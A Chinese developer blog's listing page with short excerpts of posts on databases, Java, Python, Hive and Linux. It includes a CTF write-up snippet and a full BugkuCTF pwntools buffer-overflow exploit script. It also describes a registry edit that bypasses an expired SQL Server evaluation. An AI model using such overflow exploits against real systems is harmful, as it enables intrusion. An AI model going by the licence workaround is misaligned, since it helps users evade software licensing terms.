自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(4378)
  • 收藏
  • 关注

转载 索引优化之Explain 及慢查询日志

索引:本质是数据结构,简单理解为:排好序的快速查找数据结构,以索引文件的形式存储在磁盘中。目的:提高数据查询的效率,优化查询性能,就像书的目录一样。优势:提高检索效率,降低IO成本;排好序的表,降低CPU的消耗劣势:索引实际也是一张表,该表保存了主键与索引字段,并指向实体表的记录,占用空间;降低更新表的速度(改数据表本身,也需要修改索引);花时间研究建立最优秀的索引。索引优化...

2019-09-27 17:43:00 584

转载 shell基础语法

1、变量语法:变量名=变量值PS:=两边不能有空格1、使用变量:$变量名ex: Name="wendy"#声明变量 echo $Name 或 echo ${Name} #输出变量ps:花括号可选2、只读变量:readonly 变量3、删除变量:unset 变量4、字符串变量长度获取:${#字符串变量}ps: string="ab...

2019-09-27 16:46:00 496

转载 用递归实现判断一个字符串是否为回文串

//用递归实现判断一个字符串是否为回文串import java.util.Scanner;public class Palindrome { //判断是否为回文串 in型参数代表字符串起止位置 public static boolean isPalindrome(String s,int i,int j){ ...

2019-09-23 22:47:00 1965

转载 让你的AI模型尽可能的靠近数据源

来源:Redislabs作者:Pieter Cailliau、LucaAntiga翻译:Kevin (公众号:中间件小哥)简介今天我们发布了一个 RedisAI 的预览版本,预集成了[tensor]werk组件。RedisAI 是一个可以服务 tensors 任务和执行深度学习任务的 Redis 模块。在这篇博客中,我们将介绍这个新模块的功能,并解释我们为什么会认为它能颠覆机...

2019-09-20 15:59:00 278

转载 原码补码反码简单介绍

1.基本概念及计算方法原码:二进制数加上符号位,第一位1表示为负数,0表示为正数。反码:正数的反码是其本身;负数的反码符号位不变,其余位按位取反,即原码中二进制数0变为1,1变为0。补码:算机里面数据存储都是以补码形式存放。计算方式为:正数的补码是其本身;负数的补码是在反码的基础上+1。举例:例:-1的二进制原码:10000000 00000000 000000...

2019-09-20 13:04:00 129

转载 Java语法基础(1)

1.枚举值的foreach迭代 通过该程序运行结果可知:枚举类是一种特殊的类,不是原始数据类型,。枚举类型是引用类型它的每个具体值都引用一个特定的对象,相同的值则引用同一个对象。2.两数相加// An addition programimportjavax.swing.JOptionPane; // import class JOptionPan...

2019-09-20 07:42:00 96

转载 Mysql 逻辑架构图及日志系统

我们经常能看到如下的逻辑架构图,但是往往不能进行很好的记忆,看过就忘记了,也不知道它的实现方式。今天通过简单的画图来简单了解一下mysql到底是如何执行一个select语句,如何update一条语句。1、Mysql逻辑架构图场景一:一条SQL语句如何执行?1.1 一条SQL语句的执行过程,如图:大体来说,MySQL可以分为Server层和存...

2019-09-18 23:05:00 220

转载 MySQL-索引分类及使用索引

1、什么是索引?索引:存储引擎用于快速找到记录的一种数据结构,默认使用B-Tree索引。索引是存储引擎层中实现。简单理解为:排好序的快速查找数据结构索引的目的:提高数据查询的效率,优化查询性能,就像书的目录一样。优势:提高检索效率,降低IO成本;排好序的表,降低CPU的消耗劣势:索引实际也是一张表,该表保存了主键与索引字段,并指向实体表的记录,占用空间;降低更新表的速度(...

2019-09-18 23:00:00 142

转载 webpack 配置react-router 服务,及react-router浅析

自己本地写了一个拉取网络实时的统计数据的web,因为有服务端和客户端,所以我为了方便,统一写在了一个文件夹中,目录结构如下(最终目录结构):    服务端的逻辑基本在server里面,web的相关代码都在webroot中。  本地启动服务localhost开发react-router相关项目时,碰到了问题,因为是前后端在同一文件夹的,所以前端跑webpack-de...

2019-09-18 10:41:00 233

转载 磁盘性能测试

关于磁盘性能测试,一般来说绕不过两个命令工具:dd和fiodd命令:dd:用指定大小的块拷贝一个文件,并在拷贝的同时进行指定的转换。参数说明:1. if=文件名:输入文件名,缺省为标准输入。即指定源文件。< if=input file >2. of=文件名:输出文件名,缺省为标准输出。即指定目的文件。< of=output file >...

2019-09-17 20:28:00 732

转载 SQL Server 2008 R2评估期已过的解决办法和sqlserver 服务器打不开问题

运行regedit 找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\100\ConfigurationState CommonFiles数值数据修改为3所有程序Microsoft SQL Server 2008 R2——配置工具——SQL Server 安装中心再进入维护界面,选...

2019-09-17 17:08:00 153

转载 MapReduce 基本原理(MP用于分布式计算)

hadoop最主要的2个基本的内容要了解。上次了解了一下HDFS,本章节主要是了解了MapReduce的一些基本原理。MapReduce文件系统:它是一种编程模型,用于大规模数据集(大于1TB)的并行运算。MapReduce将分为两个部分:Map(映射)和Reduce(归约)。当你向mapreduce框架提交一个计算作业,它会首先把计算作业分成若干个map任务,然后分配到不同的节...

2019-09-17 07:49:00 278

转载 XCTF - pwn when_did_you_born - WP

1.先拉进虚拟机运行一下2.检查一下文件格式,发现是64位文件,然后这个文件开了 canary 和 Nx 保护,但是影响不大。3.用 ida64 反编译查看一下,进入main函数。不难发现,当进入 else 分支后使得 v6 得 1926 即可得到 flag。4.现在的问题是将第一次 v6 不得 1926 而第二次检...

2019-09-12 22:02:00 187

转载 Java实现简单的学生成绩管理系统

ScoreInformation.javaimport java.util.Scanner;class ScoreInformation { private String stunumber; //八位学号 private String name; private double mathematicsscore; private doub...

2019-09-12 20:40:00 22387

转载 系統启动直接进BIOS

转载于:https://www.cnblogs.com/ximi07/p/11505819.html

2019-09-11 13:45:00 204

转载 django学习

一、 新建项目进入你期望的项目保存目录,运行下面的命令:$ django-admin startproject mysite各文件和目录解释:外层的mysite/目录与Django无关,只是你项目的容器,可以任意重命名。manage.py:一个命令行工具,用于与Django进行不同方式的交互脚本,非常重要!内层的mysite/目录是真正的项目文件包裹目...

2019-09-10 17:30:00 179

转载 node.js、yarn、npm到底是什么?

最近在部署环境,在没有开发脚本的情况下,自己根据以往其他项目中的脚本去生搬硬套,发现很难对项目的配置成功。对配置不成功的情况进行判断,发现是对脚本不熟悉,不了解其原理,实现方式也不知道,所以抽时间去了解了一下什么是node.js、yarn、npm。1、什么是node.js?Node.js:JavaScript 是 Web 的编程语言,node.js 就是运行在...

2019-09-09 20:28:00 148

转载 Mysql 存储过程(变量、定义条件、处理程序、光标、流程控制构造)

最近由于有同事编写了存储函数,需要进行验证,但是对存储过程一直不是很了解,所以抽时间了解了一下存储过程的基本语法。本篇文章主要包括介绍了存储过程的5个小语法:declare语句的变量、定义条件、处理程序、光标、流程控制构造。在找了很久的资料后,其实发现最实在的资料就是官方的参考手册。我参考的是MySQL5.1参考手册官方简体中文版.chm。存储过程:为以后的使用而保存...

2019-09-07 18:43:00 131

转载 python基础知识

最近花时间整理了一下以前学过的python基础知识,语言最多的是使用。1.1开发模式交互模式:简单的调试或者测试开发流程创建以.py结尾的python文件在python文件中输入打印“hello world”的代码运行编写完的python代码文件使用pycharm创建python项目注释作用:...

2019-09-07 11:39:00 231

转载 3.mysql中的数据类型

unsigned 无符号类型大小范围(有符号)范围(无符号)unsigned约束用途TINYINT1 字节(-128,127)(0,255)小整数值INT或INTEGER4 字节(-2 147 483 648,2 147 483 647)(0,4 294 967 295)大整数值FLOAT4 字节fl...

2019-09-07 11:05:00 110

转载 持续集成-jenkins(自动化部署流程图)

1、什么是持续集成持续集成:简称CI。持续集成的特点:自动完成、保证每个时间点上团队成员提交的代码是成功集成的、需求不明确或频繁变更的情景、帮助企业减少管理风险。持续集成的应用场景:持续集成(CI)系统组成部分:版本控制系统,SVNCI SERVERWeb服务器,tomcat2、Jenkins概述J...

2019-09-06 20:02:00 5180

转载 如何设计业务流程图?

如何把程序转换成流程图?如何把产品流程设计成业务流程图?业务流程图:用来描述业务的一种图,通过一些特定的符号和连线来表示具体某个业务的实际步骤和过程,详细地描述任务的流程走向。1、业务流程图的类型:管理业务流程图、UML活动图。  1.1 管理业务流程图基本结构包含:顺序结构、选择(分支)结构、循环结构。2、一个完整的产品从上到下至少有3种流程图:产品形...

2019-09-05 12:37:00 821

转载 『Python基础』第39节 函数的返回值

1. 函数的返回值​ 一个函数就是封装一个功能, 这个功能一般都会有一个最终结果的.​ 比如写一个登录的函数, 最终登录是否成功你总得告诉我一声吧?​ 还有咱们之前也用过 len() 这个函数, 它就是获取一个对象的元素的总个数, 然后返回一个元素个数的结果:s1 = 'qwerasdf'print(len(s1)) # 8​ 那么, 如何设置返回值呢? 这就得借助Pyth...

2019-09-05 08:08:00 99

转载 linux常用命令-如何杀掉进程 && 文件添加权限 && 端口占用情况

1、linux下如何杀掉进程:  1)找到包名所占用的端口: ps aux | grep cbs_portal-1.0.1.jar(包名)  2)杀掉进程: kill 10942(端口号)PS: --color=auto 表示默认显示匹配到的字符串。也可以设置其他颜色,没有这个参数当然是默认的颜色了。(不用删除)ps -aux 显示所有包含其他使用者的行程如图:...

2019-09-04 12:51:00 228

转载 VMware Tools启动失败的解决方案

经过回忆,应该是我两次安装vmtools导致的。1.删除 /usr/lib/vmware-tools 下的所有文件2.删除 /etc/vmware-tools 下的所有文件sudo su #进入rootcd /usr/librm -r vmware-toolscd /etcrm -r vmware-tool...

2019-09-04 00:57:00 4187

转载 百度网盘搜索工具_2019

百度网盘搜索工具1.写在前面经常搜索百度网盘里的资源,以前做了个数据来源来自盘多多,现在不能使用了。所以就又找了一个搜索网站史莱姆http://www.slimego.cn。2.分析通过获得查询页面的源数据,得到记录总数,分页数,搜索数据集合。3.程序实现下面将贴出实现该程序的关键代码。 1 /// <summary> ...

2019-09-03 12:33:00 614

转载 unixbench性能测试跑分工具

UnixBench是一个类unix系(Unix,BSD,Linux)统下的性能测试工具,一个开源工具,被广泛用与测试linux系统主机的性能所谓跑分工具,不仅各项的测试有得分,最后跑完也会有一个综合的得分,这个分数是怎么来了?其实,这个值是测试系统的测试结果与一个基线系统测试结果比较得到的指数值。源于1995 年,基线系统是“George”,一个工作站:SPARCstatio...

2019-09-02 17:59:00 1685

转载 .net core 中Swagger生成接口文档的简单实用

1.首先下载安装"Swashbuckle.AspNetCore"NUget包,可以通过管理NUget中直接搜索下载,也可以通程序包管理控制台执行“Install-Package Swashbuckle.AspNetCore”命令下载安装2.安装完成后,将 Swagger 生成器添加到 Startup.ConfigureServices 方法中的服务集合中 //注册Swagger生成...

2019-08-29 10:22:00 104

转载 如何编写测试计划?

编写测试计划目录1 概述1.1 文档目的1.2 文档读者1.3 文档范围2 用户需求概述3 系统功能需求4 参考资料5 条件与限制 6 测试方案6.1 测试环境6.1.1 PC测试6.2 测试类型6.2.1 测试需求列表6.2.2 功能测试6.2.3 性能测试6.2.4 易用性测试6.2.5 安全性测试...

2019-08-27 12:21:00 141

转载 学习Java第八周

1.流的分类1、字节流:Stream2、字符流: Writer,Reader输入流 :InputStream ,Reader输出流 :OuputStream,Writer字节流重要还是字符流重要:字节流:字节流类为处理字节式输入/输出提供了丰富的环境。不仅仅可以读二进制,也可以读文本。 字符流:只能读文本。流的分类:字节输入流:InputStream字...

2019-08-25 11:43:00 75

转载 Hive 表操作(HIVE的数据存储、数据库、表、分区、分桶)

1、Hive的数据存储Hive的数据存储基于Hadoop HDFSHive没有专门的数据存储格式存储结构主要包括:数据库、文件、表、试图Hive默认可以直接加载文本文件(TextFile),还支持sequence file创建表时,指定Hive数据的列分隔符与行分隔符,Hive即可解析数据。2、Hive的数据模型-数据库类似传统数据库的DataBase...

2019-08-23 20:06:00 679

转载 BugkuCtf-pwn2-exp

#!/usr/bin/env pythonfrom pwn import *p = process('./pwn2')payload = 'a' * 56 + p64(0x400751)p.recvuntil('?')p.sendline(payload)print p.recvall()转载于:https://www.cnblo...

2019-08-22 23:47:00 372

转载 Hive 安装 & Mysql 安装

安装Hive && mysql(1)安装HiveHive安装所需要的依赖(安装Hive前必须先安装jdk、hadoop)    1)jdk1.6以上    2)Hadoop要启动 未安装jdk、hadoop可参考文章:https://www.cnblogs.com/wendyw/p/11317021.html...

2019-08-21 18:16:00 89

转载 Hive基本原理及配置Mysql作为Hive的默认数据库

Hive是什么?Hive是基于Hadoop之上的数据仓库;Hive是一种可以存储、查询、分析存储在hadoop中的大规模数据Hive定义了简单的类SQL查询语言,成为HQL,它允许熟悉SQL的用户查询数据允许熟悉MapReduce开发者的开发自定义的mapper和reducer来处理内建的mapper和reducer无法完成的复杂的分析工作Hive没有专门的数据格...

2019-08-21 18:15:00 290

转载 emacs与上帝永在 (二) 让你的emacs更像一个IDE

上一篇文章中说了emacs的基本配置,至少按照上一篇文章的配置,emacs多了一点实用的功能,用起来也更舒服一点了.但是仅仅是这样显然离一个IDE的标准差太远了.虽然,就算是配置再好的emacs,也比不上eclipse,cb,vs等这些知名的IDE,但是至少可以让我们的emacs再多点实用的功能.1.首先简单配置一下自动补全:auto-complete去官网下载au...

2019-08-21 15:13:55 160

转载 log4j日志服务器配置

可参考的文章:http://www.jb51.net/article/89597.htmhttp://www.jb51.net/article/41001.htmhttp://liuzhijun.iteye.com/blog/1746571http://www.jb51.net/article/116526.htmrun.sh#!/bin/shexpo...

2019-08-20 08:24:47 593

转载 JRE not compatible with workspace .class file compatibility: 1.7

在进行Eclipse开发的时候,经常会遇到一些小问题,现在开始每天积累一些小问题的解决方法。出现:JRE not compatible with workspace .class file compatibility: 1.7这个错误的原因是,JRE库配置与Java Compiler设置不一样,如图:这是项目加载的jre依赖库,而下却是Java Compiler设置的jdk为1.7。...

2019-08-20 08:24:04 1356

转载 『Python基础』第7节:基本运算符

一. 基本运算符运算按种类可以分为: 算数运算、比较运算、逻辑运算、赋值运算、成员运算、身份运算、位运算.今天我们只学习算数运算、比较运算、逻辑运算、赋值运算、成员运算1.1 算数运算以下假设变量: a = 10, b = 20运算符描述实例+加 - 两个对象相加a + b = 30-减 - 得到负数或者是一个数减去另一个数-b = -20, ...

2019-08-19 14:10:00 105

转载 Spring Boot----缓存

一、JSR107(复杂性较高)Java Caching定义了5个核心接口,分别是CachingProvider,ICacheManager,Cache,Entry和Expiry。·CachingProvider定义了创建、配置、获取、管理和控制多个CacheManager。一个应用可以在运行期访问多个CachingProvider。·CacheManager定义了创建、配置、...

2019-08-18 22:32:00 123

转载 『Python基础练习题』day05

# 请将列表中的每个元素通过 "_" 链接起来。users = ['毛利兰', '柯南', '怪盗基德']# 请将元组 v1 = (11, 22, 33) 中的所有元素追加到列表 v2 = [44, 55, 66] 中。# 请将元组 v1 = (11, 22, 33, 44, 55, 66, 77, 88, 99) 中的所有偶数索引位置的元素 追加到列表 v2 = [4...

2019-08-18 10:34:00 158

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除